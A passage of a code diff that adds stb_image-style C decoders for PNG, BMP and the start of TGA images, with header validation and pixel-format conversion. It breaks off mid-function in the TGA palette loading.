+#define STBI__PNG_TYPE(a,b,c,d)  (((unsigned) (a) << 24) + ((unsigned) (b) << 16) + ((unsigned) (c) << 8) + (unsigned) (d))
+
+static int stbi__parse_png_file(stbi__png *z, int scan, int req_comp)
+{
+   stbi_uc palette[1024], pal_img_n=0;
+   stbi_uc has_trans=0, tc[3];
+   stbi__uint16 tc16[3];
+   stbi__uint32 ioff=0, idata_limit=0, i, pal_len=0;
+   int first=1,k,interlace=0, color=0, is_iphone=0;
+   stbi__context *s = z->s;
+
+   z->expanded = NULL;
+   z->idata = NULL;
+   z->out = NULL;
+
+   if (!stbi__check_png_header(s)) return 0;
+
+   if (scan == STBI__SCAN_type) return 1;
+
+   for (;;) {
+      stbi__pngchunk c = stbi__get_chunk_header(s);
+      switch (c.type) {
+         case STBI__PNG_TYPE('C','g','B','I'):
+            is_iphone = 1;
+            stbi__skip(s, c.length);
+            break;
+         case STBI__PNG_TYPE('I','H','D','R'): {
+            int comp,filter;
+            if (!first) return stbi__err("multiple IHDR","Corrupt PNG");
+            first = 0;
+            if (c.length != 13) return stbi__err("bad IHDR len","Corrupt PNG");
+            s->img_x = stbi__get32be(s); if (s->img_x > (1 << 24)) return stbi__err("too large","Very large image (corrupt?)");
+            s->img_y = stbi__get32be(s); if (s->img_y > (1 << 24)) return stbi__err("too large","Very large image (corrupt?)");
+            z->depth = stbi__get8(s);  if (z->depth != 1 && z->depth != 2 && z->depth != 4 && z->depth != 8 && z->depth != 16)  return stbi__err("1/2/4/8/16-bit only","PNG not supported: 1/2/4/8/16-bit only");
+            color = stbi__get8(s);  if (color > 6)         return stbi__err("bad ctype","Corrupt PNG");
+            if (color == 3 && z->depth == 16)                  return stbi__err("bad ctype","Corrupt PNG");
+            if (color == 3) pal_img_n = 3; else if (color & 1) return stbi__err("bad ctype","Corrupt PNG");
+            comp  = stbi__get8(s);  if (comp) return stbi__err("bad comp method","Corrupt PNG");
+            filter= stbi__get8(s);  if (filter) return stbi__err("bad filter method","Corrupt PNG");
+            interlace = stbi__get8(s); if (interlace>1) return stbi__err("bad interlace method","Corrupt PNG");
+            if (!s->img_x || !s->img_y) return stbi__err("0-pixel image","Corrupt PNG");
+            if (!pal_img_n) {
+               s->img_n = (color & 2 ? 3 : 1) + (color & 4 ? 1 : 0);
+               if ((1 << 30) / s->img_x / s->img_n < s->img_y) return stbi__err("too large", "Image too large to decode");
+               if (scan == STBI__SCAN_header) return 1;
+            } else {
+               // if paletted, then pal_n is our final components, and
+               // img_n is # components to decompress/filter.
+               s->img_n = 1;
+               if ((1 << 30) / s->img_x / 4 < s->img_y) return stbi__err("too large","Corrupt PNG");
+               // if SCAN_header, have to scan to see if we have a tRNS
+            }
+            break;
+         }
+
+         case STBI__PNG_TYPE('P','L','T','E'):  {
+            if (first) return stbi__err("first not IHDR", "Corrupt PNG");
+            if (c.length > 256*3) return stbi__err("invalid PLTE","Corrupt PNG");
+            pal_len = c.length / 3;
+            if (pal_len * 3 != c.length) return stbi__err("invalid PLTE","Corrupt PNG");
+            for (i=0; i < pal_len; ++i) {
+               palette[i*4+0] = stbi__get8(s);
+               palette[i*4+1] = stbi__get8(s);
+               palette[i*4+2] = stbi__get8(s);
+               palette[i*4+3] = 255;
+            }
+            break;
+         }
+
+         case STBI__PNG_TYPE('t','R','N','S'): {
+            if (first) return stbi__err("first not IHDR", "Corrupt PNG");
+            if (z->idata) return stbi__err("tRNS after IDAT","Corrupt PNG");
+            if (pal_img_n) {
+               if (scan == STBI__SCAN_header) { s->img_n = 4; return 1; }
+               if (pal_len == 0) return stbi__err("tRNS before PLTE","Corrupt PNG");
+               if (c.length > pal_len) return stbi__err("bad tRNS len","Corrupt PNG");
+               pal_img_n = 4;
+               for (i=0; i < c.length; ++i)
+                  palette[i*4+3] = stbi__get8(s);
+            } else {
+               if (!(s->img_n & 1)) return stbi__err("tRNS with alpha","Corrupt PNG");
+               if (c.length != (stbi__uint32) s->img_n*2) return stbi__err("bad tRNS len","Corrupt PNG");
+               has_trans = 1;
+               if (z->depth == 16) {
+                  for (k = 0; k < s->img_n; ++k) tc16[k] = (stbi__uint16)stbi__get16be(s); // copy the values as-is
+               } else {
+                  for (k = 0; k < s->img_n; ++k) tc[k] = (stbi_uc)(stbi__get16be(s) & 255) * stbi__depth_scale_table[z->depth]; // non 8-bit images will be larger
+               }
+            }
+            break;
+         }
+
+         case STBI__PNG_TYPE('I','D','A','T'): {
+            if (first) return stbi__err("first not IHDR", "Corrupt PNG");
+            if (pal_img_n && !pal_len) return stbi__err("no PLTE","Corrupt PNG");
+            if (scan == STBI__SCAN_header) { s->img_n = pal_img_n; return 1; }
+            if ((int)(ioff + c.length) < (int)ioff) return 0;
+            if (ioff + c.length > idata_limit) {
+               stbi__uint32 idata_limit_old = idata_limit;
+               stbi_uc *p;
+               if (idata_limit == 0) idata_limit = c.length > 4096 ? c.length : 4096;
+               while (ioff + c.length > idata_limit)
+                  idata_limit *= 2;
+               STBI_NOTUSED(idata_limit_old);
+               p = (stbi_uc *) STBI_REALLOC_SIZED(z->idata, idata_limit_old, idata_limit); if (p == NULL) return stbi__err("outofmem", "Out of memory");
+               z->idata = p;
+            }
+            if (!stbi__getn(s, z->idata+ioff,c.length)) return stbi__err("outofdata","Corrupt PNG");
+            ioff += c.length;
+            break;
+         }
+
+         case STBI__PNG_TYPE('I','E','N','D'): {
+            stbi__uint32 raw_len, bpl;
+            if (first) return stbi__err("first not IHDR", "Corrupt PNG");
+            if (scan != STBI__SCAN_load) return 1;
+            if (z->idata == NULL) return stbi__err("no IDAT","Corrupt PNG");
+            // initial guess for decoded data size to avoid unnecessary reallocs
+            bpl = (s->img_x * z->depth + 7) / 8; // bytes per line, per component
+            raw_len = bpl * s->img_y * s->img_n /* pixels */ + s->img_y /* filter mode per row */;
+            z->expanded = (stbi_uc *) stbi_zlib_decode_malloc_guesssize_headerflag((char *) z->idata, ioff, raw_len, (int *) &raw_len, !is_iphone);
+            if (z->expanded == NULL) return 0; // zlib should set error
+            STBI_FREE(z->idata); z->idata = NULL;
+            if ((req_comp == s->img_n+1 && req_comp != 3 && !pal_img_n) || has_trans)
+               s->img_out_n = s->img_n+1;
+            else
+               s->img_out_n = s->img_n;
+            if (!stbi__create_png_image(z, z->expanded, raw_len, s->img_out_n, z->depth, color, interlace)) return 0;
+            if (has_trans) {
+               if (z->depth == 16) {
+                  if (!stbi__compute_transparency16(z, tc16, s->img_out_n)) return 0;
+               } else {
+                  if (!stbi__compute_transparency(z, tc, s->img_out_n)) return 0;
+               }
+            }
+            if (is_iphone && stbi__de_iphone_flag && s->img_out_n > 2)
+               stbi__de_iphone(z);
+            if (pal_img_n) {
+               // pal_img_n == 3 or 4
+               s->img_n = pal_img_n; // record the actual colors we had
+               s->img_out_n = pal_img_n;
+               if (req_comp >= 3) s->img_out_n = req_comp;
+               if (!stbi__expand_png_palette(z, palette, pal_len, s->img_out_n))
+                  return 0;
+            } else if (has_trans) {
+               // non-paletted image with tRNS -> source image has (constant) alpha
+               ++s->img_n;
+            }
+            STBI_FREE(z->expanded); z->expanded = NULL;
+            return 1;
+         }
+
+         default:
+            // if critical, fail
+            if (first) return stbi__err("first not IHDR", "Corrupt PNG");
+            if ((c.type & (1 << 29)) == 0) {
+               #ifndef STBI_NO_FAILURE_STRINGS
+               // not threadsafe
+               static char invalid_chunk[] = "XXXX PNG chunk not known";
+               invalid_chunk[0] = STBI__BYTECAST(c.type >> 24);
+               invalid_chunk[1] = STBI__BYTECAST(c.type >> 16);
+               invalid_chunk[2] = STBI__BYTECAST(c.type >>  8);
+               invalid_chunk[3] = STBI__BYTECAST(c.type >>  0);
+               #endif
+               return stbi__err(invalid_chunk, "PNG not supported: unknown PNG chunk type");
+            }
+            stbi__skip(s, c.length);
+            break;
+      }
+      // end of PNG chunk, read and skip CRC
+      stbi__get32be(s);
+   }
+}
+
+static void *stbi__do_png(stbi__png *p, int *x, int *y, int *n, int req_comp, stbi__result_info *ri)
+{
+   void *result=NULL;
+   if (req_comp < 0 || req_comp > 4) return stbi__errpuc("bad req_comp", "Internal error");
+   if (stbi__parse_png_file(p, STBI__SCAN_load, req_comp)) {
+      if (p->depth < 8)
+         ri->bits_per_channel = 8;
+      else
+         ri->bits_per_channel = p->depth;
+      result = p->out;
+      p->out = NULL;
+      if (req_comp && req_comp != p->s->img_out_n) {
+         if (ri->bits_per_channel == 8)
+            result = stbi__convert_format((unsigned char *) result, p->s->img_out_n, req_comp, p->s->img_x, p->s->img_y);
+         else
+            result = stbi__convert_format16((stbi__uint16 *) result, p->s->img_out_n, req_comp, p->s->img_x, p->s->img_y);
+         p->s->img_out_n = req_comp;
+         if (result == NULL) return result;
+      }
+      *x = p->s->img_x;
+      *y = p->s->img_y;
+      if (n) *n = p->s->img_n;
+   }
+   STBI_FREE(p->out);      p->out      = NULL;
+   STBI_FREE(p->expanded); p->expanded = NULL;
+   STBI_FREE(p->idata);    p->idata    = NULL;
+
+   return result;
+}
+
+static void *stbi__png_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   stbi__png p;
+   p.s = s;
+   return stbi__do_png(&p, x,y,comp,req_comp, ri);
+}
+
+static int stbi__png_test(stbi__context *s)
+{
+   int r;
+   r = stbi__check_png_header(s);
+   stbi__rewind(s);
+   return r;
+}
+
+static int stbi__png_info_raw(stbi__png *p, int *x, int *y, int *comp)
+{
+   if (!stbi__parse_png_file(p, STBI__SCAN_header, 0)) {
+      stbi__rewind( p->s );
+      return 0;
+   }
+   if (x) *x = p->s->img_x;
+   if (y) *y = p->s->img_y;
+   if (comp) *comp = p->s->img_n;
+   return 1;
+}
+
+static int stbi__png_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   stbi__png p;
+   p.s = s;
+   return stbi__png_info_raw(&p, x, y, comp);
+}
+
+static int stbi__png_is16(stbi__context *s)
+{
+   stbi__png p;
+   p.s = s;
+   if (!stbi__png_info_raw(&p, NULL, NULL, NULL))
+	   return 0;
+   if (p.depth != 16) {
+      stbi__rewind(p.s);
+      return 0;
+   }
+   return 1;
+}
+#endif
+
+// Microsoft/Windows BMP image
+
+#ifndef STBI_NO_BMP
+static int stbi__bmp_test_raw(stbi__context *s)
+{
+   int r;
+   int sz;
+   if (stbi__get8(s) != 'B') return 0;
+   if (stbi__get8(s) != 'M') return 0;
+   stbi__get32le(s); // discard filesize
+   stbi__get16le(s); // discard reserved
+   stbi__get16le(s); // discard reserved
+   stbi__get32le(s); // discard data offset
+   sz = stbi__get32le(s);
+   r = (sz == 12 || sz == 40 || sz == 56 || sz == 108 || sz == 124);
+   return r;
+}
+
+static int stbi__bmp_test(stbi__context *s)
+{
+   int r = stbi__bmp_test_raw(s);
+   stbi__rewind(s);
+   return r;
+}
+
+
+// returns 0..31 for the highest set bit
+static int stbi__high_bit(unsigned int z)
+{
+   int n=0;
+   if (z == 0) return -1;
+   if (z >= 0x10000) n += 16, z >>= 16;
+   if (z >= 0x00100) n +=  8, z >>=  8;
+   if (z >= 0x00010) n +=  4, z >>=  4;
+   if (z >= 0x00004) n +=  2, z >>=  2;
+   if (z >= 0x00002) n +=  1, z >>=  1;
+   return n;
+}
+
+static int stbi__bitcount(unsigned int a)
+{
+   a = (a & 0x55555555) + ((a >>  1) & 0x55555555); // max 2
+   a = (a & 0x33333333) + ((a >>  2) & 0x33333333); // max 4
+   a = (a + (a >> 4)) & 0x0f0f0f0f; // max 8 per 4, now 8 bits
+   a = (a + (a >> 8)); // max 16 per 8 bits
+   a = (a + (a >> 16)); // max 32 per 8 bits
+   return a & 0xff;
+}
+
+// extract an arbitrarily-aligned N-bit value (N=bits)
+// from v, and then make it 8-bits long and fractionally
+// extend it to full full range.
+static int stbi__shiftsigned(int v, int shift, int bits)
+{
+   static unsigned int mul_table[9] = {
+      0,
+      0xff/*0b11111111*/, 0x55/*0b01010101*/, 0x49/*0b01001001*/, 0x11/*0b00010001*/,
+      0x21/*0b00100001*/, 0x41/*0b01000001*/, 0x81/*0b10000001*/, 0x01/*0b00000001*/,
+   };
+   static unsigned int shift_table[9] = {
+      0, 0,0,1,0,2,4,6,0,
+   };
+   if (shift < 0)
+      v <<= -shift;
+   else
+      v >>= shift;
+   STBI_ASSERT(v >= 0 && v < 256);
+   v >>= (8-bits);
+   STBI_ASSERT(bits >= 0 && bits <= 8);
+   return (int) ((unsigned) v * mul_table[bits]) >> shift_table[bits];
+}
+
+typedef struct
+{
+   int bpp, offset, hsz;
+   unsigned int mr,mg,mb,ma, all_a;
+} stbi__bmp_data;
+
+static void *stbi__bmp_parse_header(stbi__context *s, stbi__bmp_data *info)
+{
+   int hsz;
+   if (stbi__get8(s) != 'B' || stbi__get8(s) != 'M') return stbi__errpuc("not BMP", "Corrupt BMP");
+   stbi__get32le(s); // discard filesize
+   stbi__get16le(s); // discard reserved
+   stbi__get16le(s); // discard reserved
+   info->offset = stbi__get32le(s);
+   info->hsz = hsz = stbi__get32le(s);
+   info->mr = info->mg = info->mb = info->ma = 0;
+
+   if (hsz != 12 && hsz != 40 && hsz != 56 && hsz != 108 && hsz != 124) return stbi__errpuc("unknown BMP", "BMP type not supported: unknown");
+   if (hsz == 12) {
+      s->img_x = stbi__get16le(s);
+      s->img_y = stbi__get16le(s);
+   } else {
+      s->img_x = stbi__get32le(s);
+      s->img_y = stbi__get32le(s);
+   }
+   if (stbi__get16le(s) != 1) return stbi__errpuc("bad BMP", "bad BMP");
+   info->bpp = stbi__get16le(s);
+   if (hsz != 12) {
+      int compress = stbi__get32le(s);
+      if (compress == 1 || compress == 2) return stbi__errpuc("BMP RLE", "BMP type not supported: RLE");
+      stbi__get32le(s); // discard sizeof
+      stbi__get32le(s); // discard hres
+      stbi__get32le(s); // discard vres
+      stbi__get32le(s); // discard colorsused
+      stbi__get32le(s); // discard max important
+      if (hsz == 40 || hsz == 56) {
+         if (hsz == 56) {
+            stbi__get32le(s);
+            stbi__get32le(s);
+            stbi__get32le(s);
+            stbi__get32le(s);
+         }
+         if (info->bpp == 16 || info->bpp == 32) {
+            if (compress == 0) {
+               if (info->bpp == 32) {
+                  info->mr = 0xffu << 16;
+                  info->mg = 0xffu <<  8;
+                  info->mb = 0xffu <<  0;
+                  info->ma = 0xffu << 24;
+                  info->all_a = 0; // if all_a is 0 at end, then we loaded alpha channel but it was all 0
+               } else {
+                  info->mr = 31u << 10;
+                  info->mg = 31u <<  5;
+                  info->mb = 31u <<  0;
+               }
+            } else if (compress == 3) {
+               info->mr = stbi__get32le(s);
+               info->mg = stbi__get32le(s);
+               info->mb = stbi__get32le(s);
+               // not documented, but generated by photoshop and handled by mspaint
+               if (info->mr == info->mg && info->mg == info->mb) {
+                  // ?!?!?
+                  return stbi__errpuc("bad BMP", "bad BMP");
+               }
+            } else
+               return stbi__errpuc("bad BMP", "bad BMP");
+         }
+      } else {
+         int i;
+         if (hsz != 108 && hsz != 124)
+            return stbi__errpuc("bad BMP", "bad BMP");
+         info->mr = stbi__get32le(s);
+         info->mg = stbi__get32le(s);
+         info->mb = stbi__get32le(s);
+         info->ma = stbi__get32le(s);
+         stbi__get32le(s); // discard color space
+         for (i=0; i < 12; ++i)
+            stbi__get32le(s); // discard color space parameters
+         if (hsz == 124) {
+            stbi__get32le(s); // discard rendering intent
+            stbi__get32le(s); // discard offset of profile data
+            stbi__get32le(s); // discard size of profile data
+            stbi__get32le(s); // discard reserved
+         }
+      }
+   }
+   return (void *) 1;
+}
+
+
+static void *stbi__bmp_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   stbi_uc *out;
+   unsigned int mr=0,mg=0,mb=0,ma=0, all_a;
+   stbi_uc pal[256][4];
+   int psize=0,i,j,width;
+   int flip_vertically, pad, target;
+   stbi__bmp_data info;
+   STBI_NOTUSED(ri);
+
+   info.all_a = 255;
+   if (stbi__bmp_parse_header(s, &info) == NULL)
+      return NULL; // error code already set
+
+   flip_vertically = ((int) s->img_y) > 0;
+   s->img_y = abs((int) s->img_y);
+
+   mr = info.mr;
+   mg = info.mg;
+   mb = info.mb;
+   ma = info.ma;
+   all_a = info.all_a;
+
+   if (info.hsz == 12) {
+      if (info.bpp < 24)
+         psize = (info.offset - 14 - 24) / 3;
+   } else {
+      if (info.bpp < 16)
+         psize = (info.offset - 14 - info.hsz) >> 2;
+   }
+
+   s->img_n = ma ? 4 : 3;
+   if (req_comp && req_comp >= 3) // we can directly decode 3 or 4
+      target = req_comp;
+   else
+      target = s->img_n; // if they want monochrome, we'll post-convert
+
+   // sanity-check size
+   if (!stbi__mad3sizes_valid(target, s->img_x, s->img_y, 0))
+      return stbi__errpuc("too large", "Corrupt BMP");
+
+   out = (stbi_uc *) stbi__malloc_mad3(target, s->img_x, s->img_y, 0);
+   if (!out) return stbi__errpuc("outofmem", "Out of memory");
+   if (info.bpp < 16) {
+      int z=0;
+      if (psize == 0 || psize > 256) { STBI_FREE(out); return stbi__errpuc("invalid", "Corrupt BMP"); }
+      for (i=0; i < psize; ++i) {
+         pal[i][2] = stbi__get8(s);
+         pal[i][1] = stbi__get8(s);
+         pal[i][0] = stbi__get8(s);
+         if (info.hsz != 12) stbi__get8(s);
+         pal[i][3] = 255;
+      }
+      stbi__skip(s, info.offset - 14 - info.hsz - psize * (info.hsz == 12 ? 3 : 4));
+      if (info.bpp == 1) width = (s->img_x + 7) >> 3;
+      else if (info.bpp == 4) width = (s->img_x + 1) >> 1;
+      else if (info.bpp == 8) width = s->img_x;
+      else { STBI_FREE(out); return stbi__errpuc("bad bpp", "Corrupt BMP"); }
+      pad = (-width)&3;
+      if (info.bpp == 1) {
+         for (j=0; j < (int) s->img_y; ++j) {
+            int bit_offset = 7, v = stbi__get8(s);
+            for (i=0; i < (int) s->img_x; ++i) {
+               int color = (v>>bit_offset)&0x1;
+               out[z++] = pal[color][0];
+               out[z++] = pal[color][1];
+               out[z++] = pal[color][2];
+               if((--bit_offset) < 0) {
+                  bit_offset = 7;
+                  v = stbi__get8(s);
+               }
+            }
+            stbi__skip(s, pad);
+         }
+      } else {
+         for (j=0; j < (int) s->img_y; ++j) {
+            for (i=0; i < (int) s->img_x; i += 2) {
+               int v=stbi__get8(s),v2=0;
+               if (info.bpp == 4) {
+                  v2 = v & 15;
+                  v >>= 4;
+               }
+               out[z++] = pal[v][0];
+               out[z++] = pal[v][1];
+               out[z++] = pal[v][2];
+               if (target == 4) out[z++] = 255;
+               if (i+1 == (int) s->img_x) break;
+               v = (info.bpp == 8) ? stbi__get8(s) : v2;
+               out[z++] = pal[v][0];
+               out[z++] = pal[v][1];
+               out[z++] = pal[v][2];
+               if (target == 4) out[z++] = 255;
+            }
+            stbi__skip(s, pad);
+         }
+      }
+   } else {
+      int rshift=0,gshift=0,bshift=0,ashift=0,rcount=0,gcount=0,bcount=0,acount=0;
+      int z = 0;
+      int easy=0;
+      stbi__skip(s, info.offset - 14 - info.hsz);
+      if (info.bpp == 24) width = 3 * s->img_x;
+      else if (info.bpp == 16) width = 2*s->img_x;
+      else /* bpp = 32 and pad = 0 */ width=0;
+      pad = (-width) & 3;
+      if (info.bpp == 24) {
+         easy = 1;
+      } else if (info.bpp == 32) {
+         if (mb == 0xff && mg == 0xff00 && mr == 0x00ff0000 && ma == 0xff000000)
+            easy = 2;
+      }
+      if (!easy) {
+         if (!mr || !mg || !mb) { STBI_FREE(out); return stbi__errpuc("bad masks", "Corrupt BMP"); }
+         // right shift amt to put high bit in position #7
+         rshift = stbi__high_bit(mr)-7; rcount = stbi__bitcount(mr);
+         gshift = stbi__high_bit(mg)-7; gcount = stbi__bitcount(mg);
+         bshift = stbi__high_bit(mb)-7; bcount = stbi__bitcount(mb);
+         ashift = stbi__high_bit(ma)-7; acount = stbi__bitcount(ma);
+      }
+      for (j=0; j < (int) s->img_y; ++j) {
+         if (easy) {
+            for (i=0; i < (int) s->img_x; ++i) {
+               unsigned char a;
+               out[z+2] = stbi__get8(s);
+               out[z+1] = stbi__get8(s);
+               out[z+0] = stbi__get8(s);
+               z += 3;
+               a = (easy == 2 ? stbi__get8(s) : 255);
+               all_a |= a;
+               if (target == 4) out[z++] = a;
+            }
+         } else {
+            int bpp = info.bpp;
+            for (i=0; i < (int) s->img_x; ++i) {
+               stbi__uint32 v = (bpp == 16 ? (stbi__uint32) stbi__get16le(s) : stbi__get32le(s));
+               unsigned int a;
+               out[z++] = STBI__BYTECAST(stbi__shiftsigned(v & mr, rshift, rcount));
+               out[z++] = STBI__BYTECAST(stbi__shiftsigned(v & mg, gshift, gcount));
+               out[z++] = STBI__BYTECAST(stbi__shiftsigned(v & mb, bshift, bcount));
+               a = (ma ? stbi__shiftsigned(v & ma, ashift, acount) : 255);
+               all_a |= a;
+               if (target == 4) out[z++] = STBI__BYTECAST(a);
+            }
+         }
+         stbi__skip(s, pad);
+      }
+   }
+
+   // if alpha channel is all 0s, replace with all 255s
+   if (target == 4 && all_a == 0)
+      for (i=4*s->img_x*s->img_y-1; i >= 0; i -= 4)
+         out[i] = 255;
+
+   if (flip_vertically) {
+      stbi_uc t;
+      for (j=0; j < (int) s->img_y>>1; ++j) {
+         stbi_uc *p1 = out +      j     *s->img_x*target;
+         stbi_uc *p2 = out + (s->img_y-1-j)*s->img_x*target;
+         for (i=0; i < (int) s->img_x*target; ++i) {
+            t = p1[i], p1[i] = p2[i], p2[i] = t;
+         }
+      }
+   }
+
+   if (req_comp && req_comp != target) {
+      out = stbi__convert_format(out, target, req_comp, s->img_x, s->img_y);
+      if (out == NULL) return out; // stbi__convert_format frees input on failure
+   }
+
+   *x = s->img_x;
+   *y = s->img_y;
+   if (comp) *comp = s->img_n;
+   return out;
+}
+#endif
+
+// Targa Truevision - TGA
+// by Jonathan Dummer
+#ifndef STBI_NO_TGA
+// returns STBI_rgb or whatever, 0 on error
+static int stbi__tga_get_comp(int bits_per_pixel, int is_grey, int* is_rgb16)
+{
+   // only RGB or RGBA (incl. 16bit) or grey allowed
+   if (is_rgb16) *is_rgb16 = 0;
+   switch(bits_per_pixel) {
+      case 8:  return STBI_grey;
+      case 16: if(is_grey) return STBI_grey_alpha;
+               // fallthrough
+      case 15: if(is_rgb16) *is_rgb16 = 1;
+               return STBI_rgb;
+      case 24: // fallthrough
+      case 32: return bits_per_pixel/8;
+      default: return 0;
+   }
+}
+
+static int stbi__tga_info(stbi__context *s, int *x, int *y, int *comp)
+{
+    int tga_w, tga_h, tga_comp, tga_image_type, tga_bits_per_pixel, tga_colormap_bpp;
+    int sz, tga_colormap_type;
+    stbi__get8(s);                   // discard Offset
+    tga_colormap_type = stbi__get8(s); // colormap type
+    if( tga_colormap_type > 1 ) {
+        stbi__rewind(s);
+        return 0;      // only RGB or indexed allowed
+    }
+    tga_image_type = stbi__get8(s); // image type
+    if ( tga_colormap_type == 1 ) { // colormapped (paletted) image
+        if (tga_image_type != 1 && tga_image_type != 9) {
+            stbi__rewind(s);
+            return 0;
+        }
+        stbi__skip(s,4);       // skip index of first colormap entry and number of entries
+        sz = stbi__get8(s);    //   check bits per palette color entry
+        if ( (sz != 8) && (sz != 15) && (sz != 16) && (sz != 24) && (sz != 32) ) {
+            stbi__rewind(s);
+            return 0;
+        }
+        stbi__skip(s,4);       // skip image x and y origin
+        tga_colormap_bpp = sz;
+    } else { // "normal" image w/o colormap - only RGB or grey allowed, +/- RLE
+        if ( (tga_image_type != 2) && (tga_image_type != 3) && (tga_image_type != 10) && (tga_image_type != 11) ) {
+            stbi__rewind(s);
+            return 0; // only RGB or grey allowed, +/- RLE
+        }
+        stbi__skip(s,9); // skip colormap specification and image x/y origin
+        tga_colormap_bpp = 0;
+    }
+    tga_w = stbi__get16le(s);
+    if( tga_w < 1 ) {
+        stbi__rewind(s);
+        return 0;   // test width
+    }
+    tga_h = stbi__get16le(s);
+    if( tga_h < 1 ) {
+        stbi__rewind(s);
+        return 0;   // test height
+    }
+    tga_bits_per_pixel = stbi__get8(s); // bits per pixel
+    stbi__get8(s); // ignore alpha bits
+    if (tga_colormap_bpp != 0) {
+        if((tga_bits_per_pixel != 8) && (tga_bits_per_pixel != 16)) {
+            // when using a colormap, tga_bits_per_pixel is the size of the indexes
+            // I don't think anything but 8 or 16bit indexes makes sense
+            stbi__rewind(s);
+            return 0;
+        }
+        tga_comp = stbi__tga_get_comp(tga_colormap_bpp, 0, NULL);
+    } else {
+        tga_comp = stbi__tga_get_comp(tga_bits_per_pixel, (tga_image_type == 3) || (tga_image_type == 11), NULL);
+    }
+    if(!tga_comp) {
+      stbi__rewind(s);
+      return 0;
+    }
+    if (x) *x = tga_w;
+    if (y) *y = tga_h;
+    if (comp) *comp = tga_comp;
+    return 1;                   // seems to have passed everything
+}
+
+static int stbi__tga_test(stbi__context *s)
+{
+   int res = 0;
+   int sz, tga_color_type;
+   stbi__get8(s);      //   discard Offset
+   tga_color_type = stbi__get8(s);   //   color type
+   if ( tga_color_type > 1 ) goto errorEnd;   //   only RGB or indexed allowed
+   sz = stbi__get8(s);   //   image type
+   if ( tga_color_type == 1 ) { // colormapped (paletted) image
+      if (sz != 1 && sz != 9) goto errorEnd; // colortype 1 demands image type 1 or 9
+      stbi__skip(s,4);       // skip index of first colormap entry and number of entries
+      sz = stbi__get8(s);    //   check bits per palette color entry
+      if ( (sz != 8) && (sz != 15) && (sz != 16) && (sz != 24) && (sz != 32) ) goto errorEnd;
+      stbi__skip(s,4);       // skip image x and y origin
+   } else { // "normal" image w/o colormap
+      if ( (sz != 2) && (sz != 3) && (sz != 10) && (sz != 11) ) goto errorEnd; // only RGB or grey allowed, +/- RLE
+      stbi__skip(s,9); // skip colormap specification and image x/y origin
+   }
+   if ( stbi__get16le(s) < 1 ) goto errorEnd;      //   test width
+   if ( stbi__get16le(s) < 1 ) goto errorEnd;      //   test height
+   sz = stbi__get8(s);   //   bits per pixel
+   if ( (tga_color_type == 1) && (sz != 8) && (sz != 16) ) goto errorEnd; // for colormapped images, bpp is size of an index
+   if ( (sz != 8) && (sz != 15) && (sz != 16) && (sz != 24) && (sz != 32) ) goto errorEnd;
+
+   res = 1; // if we got this far, everything's good and we can return 1 instead of 0
+
+errorEnd:
+   stbi__rewind(s);
+   return res;
+}
+
+// read 16bit value and convert to 24bit RGB
+static void stbi__tga_read_rgb16(stbi__context *s, stbi_uc* out)
+{
+   stbi__uint16 px = (stbi__uint16)stbi__get16le(s);
+   stbi__uint16 fiveBitMask = 31;
+   // we have 3 channels with 5bits each
+   int r = (px >> 10) & fiveBitMask;
+   int g = (px >> 5) & fiveBitMask;
+   int b = px & fiveBitMask;
+   // Note that this saves the data in RGB(A) order, so it doesn't need to be swapped later
+   out[0] = (stbi_uc)((r * 255)/31);
+   out[1] = (stbi_uc)((g * 255)/31);
+   out[2] = (stbi_uc)((b * 255)/31);
+
+   // some people claim that the most significant bit might be used for alpha
+   // (possibly if an alpha-bit is set in the "image descriptor byte")
+   // but that only made 16bit test images completely translucent..
+   // so let's treat all 15 and 16bit TGAs as RGB with no alpha.
+}
+
+static void *stbi__tga_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   //   read in the TGA header stuff
+   int tga_offset = stbi__get8(s);
+   int tga_indexed = stbi__get8(s);
+   int tga_image_type = stbi__get8(s);
+   int tga_is_RLE = 0;
+   int tga_palette_start = stbi__get16le(s);
+   int tga_palette_len = stbi__get16le(s);
+   int tga_palette_bits = stbi__get8(s);
+   int tga_x_origin = stbi__get16le(s);
+   int tga_y_origin = stbi__get16le(s);
+   int tga_width = stbi__get16le(s);
+   int tga_height = stbi__get16le(s);
+   int tga_bits_per_pixel = stbi__get8(s);
+   int tga_comp, tga_rgb16=0;
+   int tga_inverted = stbi__get8(s);
+   // int tga_alpha_bits = tga_inverted & 15; // the 4 lowest bits - unused (useless?)
+   //   image data
+   unsigned char *tga_data;
+   unsigned char *tga_palette = NULL;
+   int i, j;
+   unsigned char raw_data[4] = {0};
+   int RLE_count = 0;
+   int RLE_repeating = 0;
+   int read_next_pixel = 1;
+   STBI_NOTUSED(ri);
+
+   //   do a tiny bit of precessing
+   if ( tga_image_type >= 8 )
+   {
+      tga_image_type -= 8;
+      tga_is_RLE = 1;
+   }
+   tga_inverted = 1 - ((tga_inverted >> 5) & 1);
+
+   //   If I'm paletted, then I'll use the number of bits from the palette
+   if ( tga_indexed ) tga_comp = stbi__tga_get_comp(tga_palette_bits, 0, &tga_rgb16);
+   else tga_comp = stbi__tga_get_comp(tga_bits_per_pixel, (tga_image_type == 3), &tga_rgb16);
+
+   if(!tga_comp) // shouldn't really happen, stbi__tga_test() should have ensured basic consistency
+      return stbi__errpuc("bad format", "Can't find out TGA pixelformat");
+
+   //   tga info
+   *x = tga_width;
+   *y = tga_height;
+   if (comp) *comp = tga_comp;
+
+   if (!stbi__mad3sizes_valid(tga_width, tga_height, tga_comp, 0))
+      return stbi__errpuc("too large", "Corrupt TGA");
+
+   tga_data = (unsigned char*)stbi__malloc_mad3(tga_width, tga_height, tga_comp, 0);
+   if (!tga_data) return stbi__errpuc("outofmem", "Out of memory");
+
+   // skip to the data's starting position (offset usually = 0)
+   stbi__skip(s, tga_offset );
+
+   if ( !tga_indexed && !tga_is_RLE && !tga_rgb16 ) {
+      for (i=0; i < tga_height; ++i) {
+         int row = tga_inverted ? tga_height -i - 1 : i;
+         stbi_uc *tga_row = tga_data + row*tga_width*tga_comp;
+         stbi__getn(s, tga_row, tga_width * tga_comp);
+      }
+   } else  {
+      //   do I need to load a palette?
+      if ( tga_indexed)
+      {
+         //   any data to skip? (offset usually = 0)
+         stbi__skip(s, tga_palette_start );
+         //   load the palette
+         tga_palette = (unsigned char*)stbi__malloc_mad2(tga_palette_len, tga_comp, 0);
+         if (!tga_palette) {
